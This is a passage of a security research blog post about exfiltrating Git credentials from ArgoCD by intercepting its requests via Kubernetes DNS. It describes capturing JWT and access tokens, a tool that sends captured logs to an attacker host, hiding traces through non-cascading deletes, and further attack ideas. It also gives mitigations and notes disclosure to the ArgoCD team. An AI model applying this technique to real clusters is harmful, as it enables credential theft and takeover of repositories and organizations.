&lt;li&gt;capture the JWT token generated with the private key, which has a duration of &lt;a href=&quot;https:&#x2F;&#x2F;docs.github.com&#x2F;en&#x2F;apps&#x2F;creating-github-apps&#x2F;authenticating-with-a-github-app&#x2F;generating-a-json-web-token-jwt-for-a-github-app&quot;&gt;10 min max&lt;&#x2F;a&gt;. We can then use it to generate an access token with a bigger expiration time, the default is &lt;a href=&quot;https:&#x2F;&#x2F;docs.github.com&#x2F;en&#x2F;apps&#x2F;creating-github-apps&#x2F;authenticating-with-a-github-app&#x2F;generating-a-user-access-token-for-a-github-app#about-user-access-tokens&quot;&gt;8 hours&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;capture the access token which argocd defines 1 hour of expiration time, this time can be increased by the env variable: &lt;code&gt;ARGOCD_GITHUB_APP_CREDS_EXPIRATION_DURATION&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;git-credentials&quot;&gt;Git Credentials&lt;&#x2F;h3&gt;
&lt;p&gt;Each type of connection has its own way of sending the GitHub credentials. For the http&#x2F;https, both &lt;strong&gt;git&lt;&#x2F;strong&gt; and &lt;strong&gt;helm&lt;&#x2F;strong&gt; will send the credentials in the authorization header, encoding the username and password in base64, so it&#x27;s pretty easy to extract it.&lt;&#x2F;p&gt;
&lt;p&gt;Example:
&lt;code&gt;Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3N3b3JkCg==&lt;&#x2F;code&gt; -&amp;gt; &lt;code&gt;testuser:testpassword&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Note: In some cases, developers use classic Person Access Tokens instead of passwords; however, these typically begin with &lt;code&gt;ghp_&lt;&#x2F;code&gt;, which distinguishes them.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;For the GitHub app:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;jwt token&lt;&#x2F;strong&gt;: it typically has the format of a JWT token beginning with &lt;code&gt;ey&lt;&#x2F;code&gt; and it uses the endpoint &lt;code&gt;&#x2F;app&#x2F;installations&#x2F;&amp;lt;id&amp;gt;&#x2F;access_tokens&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;access token&lt;&#x2F;strong&gt;: it comes in the same header and same encoding as the git&#x2F;helm, but with the prefix string &lt;code&gt;x-access-token&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;img src=&quot;media&amp;#x2F;tokens.png&quot; alt=&quot;tokens&quot; loading=&quot;lazy&quot;&gt;
&lt;h3 id=&quot;features-1&quot;&gt;Features&lt;&#x2F;h3&gt;
&lt;p&gt;Besides capturing the requests made by argocd and logging the request information to the output, we decided to add some features. Below are some of the features:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Redirect&lt;&#x2F;strong&gt; the request received to the original destination and return the response&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;Send the logs&lt;&#x2F;strong&gt; to an attacker destination outside of argocd&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;To add to that, Argocd lets us delete an application without cascading, meaning that the application is deleted from the ui and from Argocd entirely, but every resource created in that application is not deleted. The service will still run in Kubernetes and still receive ArgoCD connections. This can hide the attackers trace from the argocd side and only be visible to kubernetes side.&lt;&#x2F;p&gt;
&lt;p&gt;We can access the argexfil code &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Future-Sight-Group&#x2F;Argexfil&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;poc&quot;&gt;POC&lt;&#x2F;h3&gt;
&lt;video preload=&quot;none&quot; src=&quot;media&amp;#x2F;poc.mp4&quot; controls&gt;&lt;&#x2F;video&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;In this research, we have identified a technique that enables an authenticated attacker to leak Git credentials in ArgoCD using Kubernetes DNS. This technique has never been mentioned before, and therefore, it has a lot of work to be done and possibly a greater impact. It has its limitations, but if we exfiltrate even one GitHub credential, we can potentially take control of a GitHub account and its repositories, as well as the organizations the user is a part of.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Fun Fact: We have approached the ArgoCD team and discussed this technique. They told us that they had never seen this technique before; however, they did not consider it a vulnerability because they believed it was a problem with Kubernetes default configurations, not Argocd. Additionally, they informed us that the TLS would mitigate this issue, but as demonstrated, if an attacker has a certificate &quot;create&quot; policy, they can still perform the attack. (Once we reported this issue, they were quick to discuss it, so kudos to them.)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Mitigations&lt;&#x2F;strong&gt; that can be in place to prevent this technique:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Least privilege to the user deploying the services in argocd&lt;&#x2F;li&gt;
&lt;li&gt;Create a more strict project inside argocd&lt;&#x2F;li&gt;
&lt;li&gt;Monitoring in argocd, access to the argocd UI and CLI, and requests from internal pods to other pods, etc&lt;&#x2F;li&gt;
&lt;li&gt;Create GitHub tokens with least privilege&lt;&#x2F;li&gt;
&lt;li&gt;SSH can beat this technique since it never leaks the private key&lt;&#x2F;li&gt;
&lt;li&gt;Restrict the &quot;Certificates&quot; feature to users, only allowing admins to use it&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Future work&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Find a way to inject a malicious YAML before sending the response to argocd. In our research, we discovered that ArgoCD uses Git packs to retrieve the content from the GitHub repository. Maybe find a way to pollute its content.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Argocd has a feature to send notifications to Slack and other communication services; we can try to use the same method to exfiltrate tokens from them.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;We can try to leak the cluster keys used by argocd using this technique since the default cluster that comes configured communicates with &lt;code&gt;https:&#x2F;&#x2F;kubernetes.default.svc&lt;&#x2F;code&gt;. If we steal those keys, we might gain cluster admin access.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;We can try the same technique in other similar services like Flux or CircleCI if they share the same features.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Well thats it kids, stay safe!&lt;&#x2F;strong&gt;
&lt;strong&gt;Until next time!&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
</feed>
